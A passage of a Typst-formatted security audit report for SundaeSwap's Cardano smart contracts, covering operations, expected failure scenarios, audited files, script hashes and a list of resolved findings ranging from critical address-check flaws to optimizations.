This transaction colapses two updates of different nature: ones allowed to the settings administrator and others to the treasury administrator. Each one of those can update different fields of the settings datum.
The two involved redeemers are:
- `SettingsAdminUpdate` for the settings admin
- `TreasuryAdminUpdate` for the treasury admin
#figure(
image("img/update_settings.png", width: 100%),
caption: [
Update Settings diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/settings.ak#L44")[settings.ak:spend():SettingsAdminUpdate]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/settings.ak#L77")[settings.ak:spend():TreasuryAdminUpdate]
Expected Failure Scenarios:
- There's a minting or burning happening in the transaction
- The settings NFT is stolen from the settings UTxO
- The settings input and output have different addresses
- If the redeemer being executed is the `SettingsAdminUpdate`: other than the following fields are updated
- settings_admin
- metadata_admin
- treasury_admin
- authorized_scoopers
- base_fee, simple_fee, strategy_fee, pool_creation_fee
- extensions
else if `TreasuryAdminUpdate` is being executed, other than the following fields are updated:
- treasury_address
- authorized_staking_keys
- extensions?
- The tx is not signed by the given administrator: `SettingsAdminUpdate` signed by settings admin, or `TreasuryAdminUpdate` by the treasury admin
=== Pools
==== Operation "create pool"
This transaction creates a Pool UTxO based on the settings UTxO, which provides various protocol configurations, and funds transfered from the pool creator that act as the initial liquidity. Also, a UTxO which will hold the metadata associated with the pool is created, although the actual metadata information is uploaded in a subsequent transaction that will be performed by the metadata admin.
The minted assets are:
- pool NFT: held within the pool UTxO
- pool reference NFT: used to identify the UTxO that will hold the metadata associated to the pool
- LP tokens: paid to the pool creator. These tokens represent the amount of liquidity provided by the creator
The involved redeemers are:
- `CreatePool`
- `MintLP`
#figure(
image("img/create_pool.png", width: 100%),
caption: [
Create Pool diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L282")[pool.ak:mint():CreatePool]
Expected Failure Scenarios:
- Pool output has the expected address: the pool script address
- Quantities of both tokens of the pair are not a positive integer
- Pool reference NFT is not paid to the metadata output
- Pool NFT or specified quantity of both tokens of the pair are not paid to the pool script address
- Pool value does have more assets than the relevant ones: the pool NFT, protocolFees ADA, and both tokens from the pair
- Pool datum is not valid. One of:
- Pool identifier is not correct based on the rules defined for ensuring uniqueness
- The assets property does not match with the tokens pair provided to the pool UTxO
- Circulating LP property does not equal the minted quantity of LP tokens
- Fees per ten thousand property is not a positive integer
- Protocol fees is not a positive integer
- Metadata output does not have a void datum
- The settings UTxO doesn't have a token with the expected policy ID (parameter of the validator)
==== Operation "withdraw fees"
This transaction allows the treasury administrator to take a specific amount of ADA from the UTxO pool accumulated there in protocol fees. This withdrawn amount is then paid to the treasury address minus a portion (the allowance) that this admin can pay wherever he wants.
#figure(
image("img/withdraw_fees.png", width: 100%),
caption: [
Withdraw Fees diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L610")[pool.ak:manage():WithdrawFees]
Expected Failure Scenarios:
- Pool input address and Pool output address are distinct
- In Pool output Datum, any other field than the protocol fees one is updated
- The amount to withdraw specified within the redeemer does not match the amount of ADA taken from the Pool UTxO, or any of the other assets quantities of the UTxO change
- The transaction is not signed by the treasury administrator
- The treasury part (withdraw amount minus allowance) is not paid to the treasury address
- The amount to withdraw is greater than the available protocol fees in the Pool UTxO
==== Operation "update pool fees"
This transaction allows the Pool fees manager to update the bid and/or ask fee amount,
information that's stored in the Pool Datum.
#figure(
image("img/update_fees.png", width: 100%),
caption: [
Update Pool Fees diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L689")[pool.ak:manage():UpdatePoolFees]
Expected Failure Scenarios:
- Pool input address and Pool output address are distinct
- Pool input value and Pool output value are distinct
- In Pool output Datum, any other field than the bid and/or ask fees is updated
- If one of bid/ask fee field is updated, it is out of the valid percentage range: less than 0% or more than 100%
- The Pool fees manager is not signing the transaction
==== Operation "close pool"
This transaction lets the treasury administrator withdraw the remaining ADA of the pool, given that it has no liquidity left. The pool NFT must be burnt.
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L461")[pool.ak:mint():BurnPool]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L610")[pool.ak:manage():WithdrawFees] by #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/e3b7ca3eebd64963c35bdfd2b5013b3a4c93bcef/validators/pool.ak#L282")[this branch].
#figure(
image("img/close_pool.png", width: 100%),
caption: [
Close Pool diagram.
],
)
Expected Failure Scenarios:
- Pool NFT is not burned.
- Transaction is not signed by the treasury administrator.
- Pool remaining ADA are not paid to the treasury address.
- There's LP in circulation.
- Pool has other asset than the pool NFT and ADA, or has more ADA than initial protocol fees ADA.
=== Orders
==== Operation "create order"
This transaction transfers funds from the user to the Order script address, whose associated validator will then be executed to unlock them. This transaction does not require a validator execution and stores a datum that contains information about the type of Order the user made.
The assets sent are different depending on the type of Order but they all contain at least the maximum protocol fee ADA, the assets relevant to the specific type of Order plus any other assets (optional).
More precisely, the assets relevant to the specific type of Order are:
- Swap: the offered asset given in exchange for the pair's other asset.
- Deposit: both assets from the pair.
- Withdrawal: LP tokens.
- Donation: both assets from the pair.
- Strategy: none.
- Record: record NFT.
#figure(
image("img/create_order.png", width: 100%),
caption: [
Create Order diagram.
],
)
==== Operation "cancel order"
This transaction spends an Order UTxO with a Cancel redeemer that allows the transfer of those funds wherever the order Owner wants, which must sign the transaction.
The most common use cases are recovering the funds and doing an order update by consuming the order UTxO and producing a new one.
It is worth noting that the order Owner is a multi-sig script, which allows a straightforward signature requirement as just the presence of a specific public key signature as well as a complex Cardano native/simple script-like validation.
#figure(
image("img/cancel_order.png", width: 100%),
caption: [
Cancel Order diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/order.ak#L32")[order.ak:spend():Cancel]
Expected Failure Scenarios:
- Owner is *not* signing the transaction
==== Operation "scoop"
This transaction processes a batch of orders against a particular pool, performed by an authorized scooper.
For each order input there is a related destination output that will contain the assets resulting from the processing of such order (plus a remainder in some cases) and any other assets that were in the order and are not related with the pool. The only exception to this rule are Donation orders that have no reminder i.e. the liquidity ratio of the pool is preserved with the exact amounts provided in the donation.
Both the Pool and Order validators are executed. They are attached to the transaction within reference inputs.
#figure(
image("img/scoop.png", width: 100%),
caption: [
Scoop diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L85")[pool.ak:spend():PoolScoop]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/order.ak#L43")[order.ak:spend():Scoop]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/stake.ak#L21")[stake.ak:stake():WithdrawFrom]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L452")[pool.ak:mint():MintLP]
- If there are oracle orders, #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/oracle.ak#L56")[oracle.ak:mint():Mint]
Expected Failure Scenarios:
- Pool output address is not equal than Pool input address
- In the pool datum, other field/s than `circulating_lp` is/are modified
- Pool NFT is stolen from the Pool UTxO or burned
- Pool pair amounts does not match the expected quantities given the specific processed orders
- Pool output has a token that wasn't in the Pool input
- Fees are not correctly paid
- For each destination output. One of:
- Is not paid to the destination address specified in the corresponding Order input
- The destination output doesn't have the datum specified in the corresponding Order
- The paid value is not consistent with the action defined in the corresponding Order
- For each Order input. One of:
- If the Order has pool identifier, it does not match with the identifier of the Pool being consumed
- If the Order is of the Strategy type and doesn't have a defined strategy execution, or if it has a strategy execution defined, is not signed by the expected party
- The assets contained in the Order does not contain the needed assets to perform the requested action over the Pool
- The market is not open yet i.e. the tx validation range is not contained in the interval [market open POSIX time, +∞)
- An incorrect amount of LP tokens are minted/burned if any, or the `circulating_lp` property of the Pool datum is not updated accordingly
- There's no signature of an authorized scooper
- If there's an oracle order:
- there's a 1-to-1 correspondence with oracle script outputs
- each oracle script output has only one oracle token
- oracle datum has the correct validity range and recorded pool values i.e. the token A and B reserves, and circulation LP recorded in oracle datum matches with the Pool output state.
=== Oracles
==== Operation "create oracle"
Oracle creation is embedded in scoop operation by processing a previously created Record order. So, unlike the other operations described, this one is "contained" within the scoop operation.
From the scoop operation POV: for each Record order input there's an oracle script output uniquely identified by an oracle token (NFT) minted in this same transaction. The oracle datum contains a snapshot of the state of the pool output i.e. quantities of both tokens of the pair and of circulating LP.
==== Operation "close oracle"
This transaction allows to close an oracle on behalf of its owner by enforcing the burning of the oracle
token, which is a must since people will be relying on the oracle token to authenticate the actual pool values.
#figure(
image("img/close_oracle.png", width: 50%),
caption: [
Close Oracle diagram.
],
)
Code:
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/oracle.ak#L31")[oracle.ak:spend()]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/oracle.ak#L119")[oracle.ak:mint():Burn]
Expected Failure Scenarios:
- Owner doesn't sign the transaction.
- Oracle token is preset in some output i.e. is not being burned.
#pagebreak()
== Audited Files
#v(1em)
Below is a list of all files audited in this report, any files *not* listed here were *not* audited.
The final state of the files for the purposes of this report is considered to be commit #link("https://github.com/SundaeSwap-finance/sundae-contracts/commit/edc118880d3baffcb7d5bd277faec2e7dc54c59b")[`edc118880d3baffcb7d5bd277faec2e7dc54c59b`].
#files_audited(
items: (
"validators/oracle.ak",
"validators/order.ak",
"validators/pool.ak",
"validators/pool_stake.ak",
"validators/settings.ak",
"validators/stake.ak",
"lib/calculation/deposit.ak",
"lib/calculation/donation.ak",
"lib/calculation/process.ak",
"lib/calculation/record.ak",
"lib/calculation/shared.ak",
"lib/calculation/strategy.ak",
"lib/calculation/swap.ak",
"lib/calculation/withdrawal.ak",
"lib/shared.ak",
"lib/types/oracle.ak",
"lib/types/order.ak",
"lib/types/pool.ak",
"lib/types/settings.ak",
"https://github.com/SundaeSwap-finance/aicone/blob/main/lib/sundae/multisig.ak",
)
)
#pagebreak()
= Launch details
== Parameters
#grid(
columns: (30%, 70%),
gutter: 1pt,
cell(fill: table_header, height: auto)[
#set align(horizon + center)
*Name*
],
cell(fill: table_header, height: auto)[
#set align(horizon + center)
*Value*
],
cell()[
#set align(horizon)
// #text(0.8em)[`settings.ak:protocol_boot_utxo`]
`protocol_boot_utxo`
],
cell()[
#set align(horizon)
#text(0.8em)[`382b27b28c70343161f9abebdab78264e0fd7271baf3bb88ca04b52e5f0067ef#01`]
],
)
== Script hashes
#grid(
columns: (30%, 70%),
gutter: 1pt,
cell(fill: table_header, height: auto)[
#set align(horizon + center)
*Validator*
],
cell(fill: table_header, height: auto)[
#set align(horizon + center)
*Hash (Blake2b-224)*
],
cell()[
#set align(horizon)
// Settings UTxO
// Settings NFT
Settings (spend & mint)
],
cell()[
#set align(horizon)
`6d9d7acac59a4469ec52bb207106167c5cbfa689008ffa6ee92acc50`
],
cell()[
#set align(horizon)
// Pool UTxOs
// Pool NFTs
// LP tokens
Pool (spend & mint)
],
cell()[
#set align(horizon)
`e0302560ced2fdcbfcb2602697df970cd0d6a38f94b32703f51c312b`
],
cell()[
#set align(horizon)
Pool staking
],
cell()[
#set align(horizon)
`4399813dad91bb78a5eb17c26ff50852bc75d3fa7b6e9ae87232ccc1`
],
cell()[
#set align(horizon)
Manage withdrawal
],
cell()[
#set align(horizon)
`e0fccbbfb75923bff6dac5f23805dcf6cecfaae8aa3a6d3e474ee670`
],
cell()[
#set align(horizon)
Order
],
cell()[
#set align(horizon)
`fa6a58bbe2d0ff05534431c8e2f0ef2cbdc1602a8456e4b13c8f3077`
],
cell()[
#set align(horizon)
Order withdrawal
],
cell()[
#set align(horizon)
`99e5aacf401fed0eb0e2993d72d423947f42342e8f848353d03efe61`
],
cell()[
#set align(horizon)
Oracle (spend & mint)
],
cell()[
#set align(horizon)
`f50153654bd0e167563cd0bbbff1b73c40157e53408a0ef517e67a5d`
],
)
#pagebreak()
= Findings
#v(1em)
#findings(items: (
/* (
id: [SSW-XXX], // first digit corresponds to severity (see below)
title: [XXXXXXX],
severity: "Critical", // one of: Critical (0), Major (1), Minor (2), Info (3)
status: "Resolved", // one of: Resolved, Acknowledged, Identified
category: "Bug", // open, for example: Bug, Style, Redundancy, Efficiency, External, etc.
commit: "",
description: [
XXXXXXX
],
recommendation: [
XXXXXXX
],
resolution: [
// we put here the commit with message "Merge pull request #NN from ..."
Resolved in commit `XXXX`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/NN")[PR \#NN]).
],
), */
(
id: [SSW-001],
title: [Create pool doesn't validate the pool output address],
severity: "Critical",
status: "Resolved",
category: "Vulnerability",
commit: "4a5f4f494665f7a110e89d5aa5425fd5cae2311a",
description: [
There is no check on the pool output address where pool datum and value
are paid to. Without this check, a pool NFT can be minted and paid to any
address, even a particular wallet. This token can be used later to scoop
orders that are not directed to a specific pool and steal their funds.
],
recommendation: [
Check that the pool ouput is paid to the pool script hash. This is, that
the payment part of the output address equals the own policy ID.
],
resolution: [
Resolved in commit `d43f212d2a94507bbc7964757093b615c69a8d05`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/53")[PR \#53]).
],
),
(
id: [SSW-002],
title: [Pool output address is not correctly checked in scoop operation],
severity: "Critical",
status: "Resolved",
category: "Vulnerability",
commit: "00d71b1ff06eac15284c191834926be2d6fe17ed",
description: [
The payment part of the output address is not being checked to be correct
under the "PoolScoop" redeemer.
Without this check, it is possible for a scooper to pay the pool funds
and datum to any payment key or script hash, effectively dismanlting the
pool and stealing the funds.
The required check was there at
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/ca212dcefc36ef03c9f60d33efdd31db02d21e9b/validators/pool.ak#L211")[some point]
but it was lost while or after solving SSW-302.
],
recommendation: [
Check that the pool ouput is paid to the pool script hash.
The check can be done a single time at the top-level of the validator so
it applies to both redeemers "PoolScoop" and "WithdrawFees".
],
resolution: [
Resolved in commit `d43f212d2a94507bbc7964757093b615c69a8d05`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/53")[PR \#53]).
],
),
(
id: [SSW-101],
title: [Settings datum size is limited forever by the initially locked ADA],
severity: "Major",
status: "Resolved",
category: "Bug",
commit: "4a5f4f494665f7a110e89d5aa5425fd5cae2311a",
description: [
Once the protocol settings UTxO is created, it is not possible to change
the value locked into it, and in particular the min ADA required by
Cardano for storing the UTxO in the blockchain.
If an update in the settings requires storing a bigger datum, for
instance by adding elements to some of the stored lists, it may be
possible that the min ADA required is more than the locked one, making
the update impossible.
],
recommendation: [
The spending validator for the settings UTxO should allow the possiblity
of changing the locked value at least for adding more ADA.
],
resolution: [
Resolved in commit `c65928e0cb00a27a5ac9672d9f9ea0f81a8cc38b`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/54")[PR \#54]).
],
),
(
id: [SSW-102],
title: [Order `Scoop` redeemer enforces one and only one withdrawal],
severity: "Major",
status: "Resolved",
category: "Bug",
commit: "<KEY>",
description: [
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/4b9fd66acfc2752623d766c95a776263106bdbcd/validators/order.ak#L48")[This] `expect` clause of the Order validator enforces that in a Scoop there's one and only one withdrawal.
An issue that may arise because of this is a failure in a scroop transaction when there's a Strategy Order where `StrategyAuthorization` is `Script`. #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/4b9fd66acfc2752623d766c95a776263106bdbcd/lib/calculation/strategy.ak#L88")[This script must be in the withdrawals], and is not equal than the withdrawal script that the Order validator is expecting.
Another thing to take into account is that the withdrawals are in lexicographical order, so we should be careful when assuming that a certain script is in some specific index of the withdrawals as a list.
],
recommendation: [
Allow the possiblity to have more than one withdrawal script in a transaction that involves the `Scoop` redeemer of the Order validator.
],
resolution: [
Resolved in commit `b6fbf3dfa98fa7a0dda65e2d20814dfbf50db365`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/74")[PR \#74]).
],
),
(
id: [SSW-201],
title: [Create pool doesn't validate if ADA is not in the pair],
severity: "Minor",
status: "Resolved",
category: "Bug",
commit: "<PASSWORD>",
description: [
Pool output value is checked to have at most 3 different assets (line
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/4a5f4f494665f7a110e89d5aa5425fd5cae2311a/validators/pool.ak#L415")[415]).
However, if ADA is not in the pair of assets (A, B), the output value
will have four assets: A, B, ADA and the pool NFT.
Therefore, the validation fails and it is not possible to create the pool.
],
recommendation: [
A quick solution is to fix the check so it compares to 3 or 4 depending
if ADA is in the pair or not.
Alternatively, we propose to change the approach for validating the
output value by building the expected output value and comparing it with
value equality.
We think this approach is more straightforward and less error prone as it
ensures that there is only one possible outcome for the value.
],
resolution: [
Resolved in commit `ad7183c85af150451dc32a7c3ac091d125f65574`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/66")[PR \#66]).
],
),
(
id: [SSW-202],
title: [Metadata output datum not checked in pool create],
severity: "Minor",
status: "Resolved",
category: "Bug",
commit: "4a5f4f494665f7a110e89d5aa5425fd5cae2311a",
description: [
In pool create, no check is done on the datum that is paid to the metadata output.
If the payment is done with no datum and the metadata address set in the settings corresponds to a script, the UTxO will be locked forever and it will not be possible to set the metadata.
],
recommendation: [
Ensure, at least, that the metadata output has a datum.
If the metadata address corresponds a script, this is a necessary condition for the UTxO to be spent.
],
resolution: [
Resolved in commit `b731c1f5e16cf5be0d39dabae0246eba728ea3ad`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/55")[PR \#55]).
],
),
(
id: [SSW-203],
title: [Create pool doesn't validate `fees_per_10_thousand` in pool output
datum],
severity: "Minor",
status: "Resolved",
category: "Robustness",
commit: "4a5f4f494665f7a110e89d5aa5425fd5cae2311a",
description: [
In pool create, no checks are done on the `fees_per_10_thousand` field in
the pool output datum.
This field is a pair of integers that represent percentages with two
decimals.
If the integers are not in the range [0, 10000] they will not represent
valid percentage values.
],
recommendation: [
Add the missing checks to ensure that the integers are in the correct
range.
],
resolution: [
Resolved in commit `c290154883e21373ebcc9dcf575d1311388b9429`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/56")[PR \#56]).
],
),
(
id: [SSW-204],
title: [No way to modify the list of authorized staking keys in the
protocol settings],
severity: "Minor",
status: "Resolved",
category: "Bug",
commit: "4a5f4f494665f7a110e89d5aa5425fd5cae2311a",
description: [
Once the protocol settings UTxO is created, it is not possible to modify
the `authorized_staking_keys` field in the UTxO datum.
The spending validator is checking that this field is not changed both in
the cases of settings admin and treasury admin updates.
],
recommendation: [
Depending on business requirements, devise some way that the
`authorized_staking_keys` field could be updated.
],
resolution: [
Resolved in commit `6104be8df1ec9dc81a9e38e84be7d15ea9d6510b`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/57")[PR \#57]).
],
),
(
id: [SSW-205],
title: [Pool fees update lacks validation of fees percentages],
severity: "Minor",
status: "Resolved",
category: "Robustness",
commit: "<KEY>",
description: [
In the `CreatePool` redeemer there's a #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/e3b7ca3eebd64963c35bdfd2b5013b3a4c93bcef/validators/pool.ak#L499-L506")[check]
for `bid_fees_per_10_thousand` and `ask_fees_per_10_thousand`
for keeping them within the range [0, 10.000].
In the `UpdatePoolFees` redeemer, those percentages
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/e3b7ca3eebd64963c35bdfd2b5013b3a4c93bcef/validators/pool.ak#L336-L337")[could be updated while this check is not performed].
This implies that the fee manager could update them to whatever he wants,
defeating the purpose of the check performed in `CreatePool`.
],
recommendation: [
Repeat said check in `UpdatePoolFees` redeemer.
],
resolution: [
Resolved in commit `a890bdee4f776d58ef5a022f18121bb77777acb2`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/75")[PR \#75]).
],
),
(
id: [SSW-206],
title: [Pool NFT cannot be burned],
severity: "Minor",
status: "Resolved",
category: "Bug",
commit: "4b9fd66acfc2752623d766c95a776263106bdbcd",
description: [
The Pool minting policy has two redeemers: `CreatePool` and `MintLP`.
- `CreatePool` checks that only one pool NFT is minted.
- `MintLP` ensures that the pool NFT is not minted nor burned.
Then, there's no possiblity of burning the pool NFT,
which #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/e3b7ca3eebd64963c35bdfd2b5013b3a4c93bcef/validators/pool.ak#L288C51-L288C63")[is required]
in the `WithdrawFees` redeeemer of the Pool validator whenever the Pool has no more liquidity.
],
recommendation: [
Add a new redeemer in the Pool minting policy that allows to burn the pool NFT
under the expected conditions i.e. whenever the Pool has no more liquidity left.
],
resolution: [
Resolved in commit `e84cfdfe9b15ab2f85d960d6d840ac0305788d1a`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/73")[PR \#73]).
],
),
(
id: [SSW-301],
title: [Redundant parameters in process_order: outputs = output + rest_outputs],
severity: "Info",
status: "Resolved",
category: "Redundancy",
commit: "<KEY>",
description: [
The `process_order` function takes an `outputs` list but also its head
`output` and tail `rest_outputs`.
Probably for optimization, as the caller `process_orders` already
destructured the list, to avoid repeating it.
However, there is no need for the caller to destructure.
],
recommendation: [
Remove parameters `output` and tail `rest_outputs` from `process_orders`.
Destructure inside `process_orders`, and remove destructuring from
`process_orders`.
],
resolution: [
Resolved in commit `5d78f9e2ed10c7206711fc5a58ed0595dbf51c50`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/28")[PR \#28]).
],
),
(
id: [SSW-302],
title: [Redundant check for pool output stake credential in pool scoop validator],
severity: "Info",
status: "Resolved",
category: "Redundancy",
commit: "<KEY>",
description: [
Stake credential is checked in
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/<KEY>/validators/pool.ak#L230")[lines 230-231]
but entire address was already checked in
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/bcde39aa87567eaee<KEY>/validators/pool.ak#L125")[line 125].
],
recommendation: [
Remove redundant check.
],
resolution: [
Resolved in commit `7acd97e69f82e328587abac00ace3d226bddd933`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/26")[PR \#26]).
],
),
(
id: [SSW-303],
title: [Optimizable power of two (`do_2_exp`)],
severity: "Info",
status: "Resolved",
category: "Optimization",
commit: "<KEY>",
description: [
Function `do_2_exp` is used in the pool scoop operation to compute the
power of 2 over the set {0, 1, ..., n-1} where n is the number of scooped
orders. Current definition is a simple linear recursion, resulting in a
relevant impact in mem/cpu consumption.
],
recommendation: [
Instead of current definition use the optimized `math.pow2`
function from Aiken standard library, or the even more optimized version
proposed by TxPipe #link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/27#issuecomment-1892738977")[here].
Our tests with the provided benchmark
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/rrruko/update-benchmark/lucid/main.ts")[main.ts]
show that the maximum number of orders can go from 32 to 36.
],
resolution: [
Resolved in commit `e92bff96934483bf4fe03762e5e2cdef9706eaae`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/27")[PR \#27]).
],
),
(
id: [SSW-304],
title: [Redundant `datum` parameter in `process_order`],
severity: "Info",
status: "Resolved",
category: "Redundancy",
commit: "<KEY>",
description: [
All the information used internally by `process_order` is contained in
fields `details` and `destination` that are already parameters of
`process_order`. Also: in do_deposit, do_withdrawal and do_donation
directly pass details and destination.
],
recommendation: [
Remove `datum` parameter from `process_order`. In `do_deposit`,
`do_withdrawal` and `do_donation`, directly pass `details` and
`destination`, instead of whole datum.
],
resolution: [
Resolved in commit `c143cd30ccebfb8c83940d1fac34475d12a64d80`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/29")[PR \#29]).
],
),
(
id: [SSW-305],
title: [Total fee computed recursively can be calculated in single
expression],
severity: "Info",
status: "Resolved",
category: "Optimization",
commit: "<KEY>",
description: [
Total fee is computed in `process_orders` using an accumulator parameter
`total_fee` that is returned at the end of the recursion. Individual fee
for each order is computed and returned by `process_order` to be
accumulated.
However, we observe that the result is equivalent to:
`total_fee = amortized_base_fee * order_count + simple_fee * simple_count
+ strategy_fee * strategy_count`
],
recommendation: [
Remove `total_fee` as parameter and return value from `process_orders`.
In `pool.ak`, directly define `total_protocol_fee` using the given
formula.
Also, there is no need for `process_order` to return the fee anymore.
],
resolution: [
Resolved in commit `e686590f18dce0ef50074296cdc502f2adb9fea0`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/30")[PR \#30]).
],
),
(
id: [SSW-306],
title: [Optimizable check for initial LP minting in create pool],
severity: "Info",
status: "Resolved",
category: "Optimization",
commit: "4a5f4f494665f7a110e89d5aa5425fd5cae2311a",
description: [
In pool create, Aiken's `math.sqrt` is used to check for the correct
initial minting of LP tokens.
This function implements the recursive Babylonian method.
However, the expected value for the sqrt is already known, as it is
available in the minting field and in the datum.
Having the expected value, it is much more efficient to check that it is
correct by squaring it and comparing to the radicand:
`
/// Checks if an integer has a given integer square root x.
/// The check has constant time complexity (O(1)).
pub fn is_sqrt(self: Int, x: Int) -> Bool {
x * x <= self && ( x + 1 ) * ( x + 1 ) > self
}
`
See #link("https://github.com/aiken-lang/stdlib/pull/73")[this PR] for
more information.
],
recommendation: [
First, define `initial_lq` by taking it from the minting field or from
the datum (`circulating_lp`).
Then, check that it is correct with `is_sqrt(coin_a_amt_sans_protocol_fees * coin_b_amt, initial_lq)`.
],
resolution: [
Resolved in commit `<PASSWORD>`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/58")[PR \#58]).
],
),
(
id: [SSW-307],
title: [Optimizable check for LP minting in scoop],
severity: "Info",
status: "Resolved",
category: "Optimization",
commit: "fd3a48511eea723fe58d32e79993c86c26df0a94",
description: [
We understand that the idea in the current version of MintLP redeemer validation is to ensure that the UTxO
that contains the pool NFT i.e. the pool UTxO must be in the inputs because in its spending validator the
minting of LP tokens is controlled.
The issue with this check is that it is O(n): the worst case being when the pool UTxO is in the tail of the inputs and there are +20 orders. Given that this redeemer runs during a scoop validation, it is interesting to
optimize it as much as possible.
],
recommendation: [
Instead of checking the presence of the pool NFT in the inputs, we can check its presence in the outputs given
that we can safely asume that the pool UTxO is the first output. This is O(1). But this is not sufficient:
we must also check that the pool NFT is not being minted in this same transaction. These two checks ensure that
the pool NFT is in the inputs.
],
resolution: [
Resolved in commit `db3d33e3a22a28a7c1e7abfcb798e00e68427ff6`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/59")[PR \#59]).
],
),
(
id: [SSW-308],
title: [No checks on settings UTxO when it is created],
severity: "Info",
status: "Resolved",
category: "Robustness",
commit: "<PASSWORD>",
description: [
The settings UTxO creation is validated through the minting policy of the
settings NFT token.
This policy only checks for the minting itself, ensuring that the token
name is correct and that the indicated UTxO is consumed (this way
enforcing an NFT).
There is no validation of where is this NFT being paid to, or anything
related to the creation of the settings UTxO.
However, the policy could also be checking for the creation of the
settings UTxO, including checks for the correct address, value and datum.
This pattern is known as the “base case” for the “inductive reasoning”
that can guarantee the consistency of the contract state through its
entire lifetime.
*Reference:*
<NAME>, <NAME>.
#link("https://well-typed.com/blog/2022/08/plutus-initial-conditions/")[_Verifying initial conditions in Plutus_].
],
recommendation: [
In the settings NFT minting policy, add checks to ensure that the
settings UTxO is correctly created.
This is, check the payment to the correct address, datum and value.
],
resolution: [
Resolved in commit `f007b795e9e49a38e0b3f00355d4f97ce1e27c3a`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/60")[PR \#60]).
],
),
(
id: [SSW-309],
title: [Optimizable manipulation of values in `do_donation`],
severity: "Info",
status: "Resolved",
category: "Optimization",
commit: "<PASSWORD>",
description: [
The processing of donation orders could be optimized in its manipulation of values.
In particular, when computing the `remainder` variable the `value.merge` and `value.negate` functions are used (see #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/2487900eea2ea1d87f6e8a04707dcf039becd265/lib/calculation/donation.ak#L39-L44")), which are not particularly efficient.
],
recommendation: [
Instead of using `value.merge` and `value.negate` it's possible to use `value.add` (a lot more efficient) to achieve the same effect.
For example:
```
let remainder =
input_value
|> value.add(ada_policy_id, ada_asset_name, -actual_protocol_fee)
|> value.add(assets.1st.1st, assets.1st.2nd, -assets.1st.3rd)
|> value.add(assets.2nd.1st, assets.2nd.2nd, -assets.2nd.3rd)
```
gives us better mem and cpu numbers in the 30 shuffled orders processing test.
The original implementation gives
`PASS [mem: 12571807, cpu: 4883611979] process_30_shuffled_orders_test`
while the version with just `value.add`'s
`PASS [mem: 10580319, cpu: 4281305949] process_30_shuffled_orders_test`
(numbers obtained with aiken version v1.0.21-alpha+4b04517)
],
resolution: [
Resolved in commit `30f4d17cacc3fa9d8bc7a6d85ecae4eb4772e8a4`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/61")[PR \#61]).
],
),
(
id: [SSW-310],
title: [Formula simplifications in `do_deposit`],
severity: "Info",
status: "Resolved",
category: "Simplification",
commit: "<PASSWORD>",
